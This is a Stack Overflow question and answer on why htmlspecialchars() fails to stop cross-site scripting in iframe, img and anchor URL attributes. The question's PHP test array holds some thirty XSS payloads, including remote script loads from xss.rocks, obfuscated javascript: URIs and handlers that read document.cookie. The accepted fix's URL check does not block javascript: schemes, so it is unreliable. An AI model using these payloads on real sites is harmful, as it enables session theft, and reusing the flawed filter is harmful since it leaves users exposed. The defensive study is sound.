'XSS attack still works despite htmlspecialchars() doing its work

hi i am trying to filter outputs of users who will put free text and wanna prevent XSS attacks so i tried this function i made to check

<?php
$patterns = [
    "<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>",
    "javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>",
    "javascript:alert('XSS');",
    "JaVaScRiPt:alert('XSS')",
    "javascript:alert(&quot;XSS&quot;)",
    "javascript:alert(\"RSnake says, 'XSS'\")",
    "\<a onmouseover=\"alert(document.cookie)\"\>xxs link\</a\>",
    "\<a onmouseover=alert(document.cookie)\>xxs link\</a\>",
    "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\"\>",
    "javascript:alert(String.fromCharCode(88,83,83))",
    "# onmouseover=\"alert('xxs')\"",
    " onmouseover=\"alert('xxs')\"",
    "x onerror=\"&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041\"",
    "&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;",
    "&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041",
    "&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29",
    "jav    ascript:alert('XSS');",
    "jav&#x09;ascript:alert('XSS');",
    "jav&#x0A;ascript:alert('XSS');",
    "jav&#x0D;ascript:alert('XSS');",
    "<IMG SRC=java\0script:alert(\"XSS\")>",
    " &#14;  javascript:alert('XSS');",
    "<SCRIPT/XSS SRC=\"http://xss.rocks/xss.js\"></SCRIPT>",
    "<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>",
    "<SCRIPT/SRC=\"http://xss.rocks/xss.js\"></SCRIPT>",
    "<<SCRIPT>alert(\"XSS\");//\<</SCRIPT>",
    "<SCRIPT SRC=http://xss.rocks/xss.js?< B >",
    "<SCRIPT SRC=//xss.rocks/.j>",
    "`<javascript:alert>`('XSS')",
    "http://xss.rocks/scriptlet.html <",
    'http://xss.rocks/xss.js',
    'http://xss.rocks/xss.js, http://xss.rocks/xss.js, http://xss.rocks/xss.js',
    "&lt;script&gt;alert('XSS')&lt;script/&gt;"
];
foreach ($patterns as $pattern) {
$pattern = htmlspecialchars(htmlspecialchars($pattern));
?>
<iframe src="<?php echo $pattern; ?>"></iframe>
<iframe src="<?php echo $pattern; ?>" sandbox="allow-scripts"></iframe>
<img src="<?php echo $pattern; ?>">
<a href="<?php echo $pattern; ?>">Anchor</a>
<?php } ?>

i used htmlspecialchars(htmlspecialchars($pattern)) to encode any < or > but it does not seem to prevent the attacks

and iframe without allow-script always runs the script as soon as it opens

i was wondering how to sanitize the input completely to prevent this attack completey

i only expect urls and when second link is clicked it runs a script too



Solution 1:[1]

You can't sanitize all type of XSS with htmlspecialchars. htmlspecialchars may help you to protect against XSS inside HTML tags or some quoted HTML attributes.

You have to sanitize the different type of XSS with their own sanitization method.


  1. User input placed inside HTML:
<p><?php echo $user_entered_variable; ?></p>

Attack vector: <script>alert(1)</script>

This type of XSS can be sanitized using htmlspecialchars function because attacker need to use < and > to create new HTML tag.

Solution:

<p><?php echo htmlspecialchars($user_entered_variable); ?></p>

  1. User input placed inside single quoted attribute:
<img title='<?php echo htmlspecialchars($user_entered_variable);?>'/>

Attack vector: ' onload='alert(1)' '

htmlspecialchars will not encode single quote ' by default. You must turn it on using ENT_QUOTES option.

Solution:

    <img title='<?php echo htmlspecialchars($user_entered_variable,ENT_QUOTES);?>'/>

  1. User input placed inside URL attributes: src, href, formaction, ...
    <iframe src="<?php echo htmlspecialchars($user_entered_variable); ?>"></iframe>
    <img src="<?php echo htmlspecialchars($user_entered_variable); ?>">
    <a href="<?php echo htmlspecialchars($user_entered_variable); ?>">Link</a>

    <script>function openLink(link){window.open(link);}</script>
    <button onclick="openLink('<?php echo htmlspecialchars($user_entered_variable); ?>')">JavaScript Window XSS</button>

Attack vector: javascript:alert(1), javscript://alert(1)

htmlspecialchars Document

PHP Document

This function will not prevent those vectors because they haven't any HTML special character. To prevent such attacks, you need to validate input as a URL.

Solution:

 <?php

 $user_entered_variable = htmlspecialchars($user_entered_variable);
 $isValidURL = filter_var($user_entered_variable, FILTER_VALIDATE_URL) !== false;
 if(!$isValidURL)
    $user_entered_variable = 'invalid://invalid';
?>
    <iframe src="<?php echo $user_entered_variable; ?>"></iframe>
    <img src="<?php echo $user_entered_variable; ?>">
    <a href="<?php echo $user_entered_variable; ?>">Link</a>

    <script>function openLink(link){window.open(link);}</script>
    <button onclick="openLink('<?php echo $user_entered_variable; ?>')">JavaScript Window XSS</button>


  1. User input placed inside JavaScript tag without any quote
<script>
  var inputNumber = <?php echo $user_entered_variable; ?>
</script>

Attack vector: 1;alert(1)

in some cases, we can easily quote input and prevent attack by sanitizing it using htmlspecialchars but if we need input to be integer we can prevent XSS by using input validation.

Solution:

<script>
  var inputNumber = <?php echo intval($user_entered_variable); ?>
</script>

Always quote variables when it placed inside a HTML attribute and do a proper sanitization.

Sources

This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.

Source: Stack Overflow

Solution Source
Solution 1 Pouya Darabi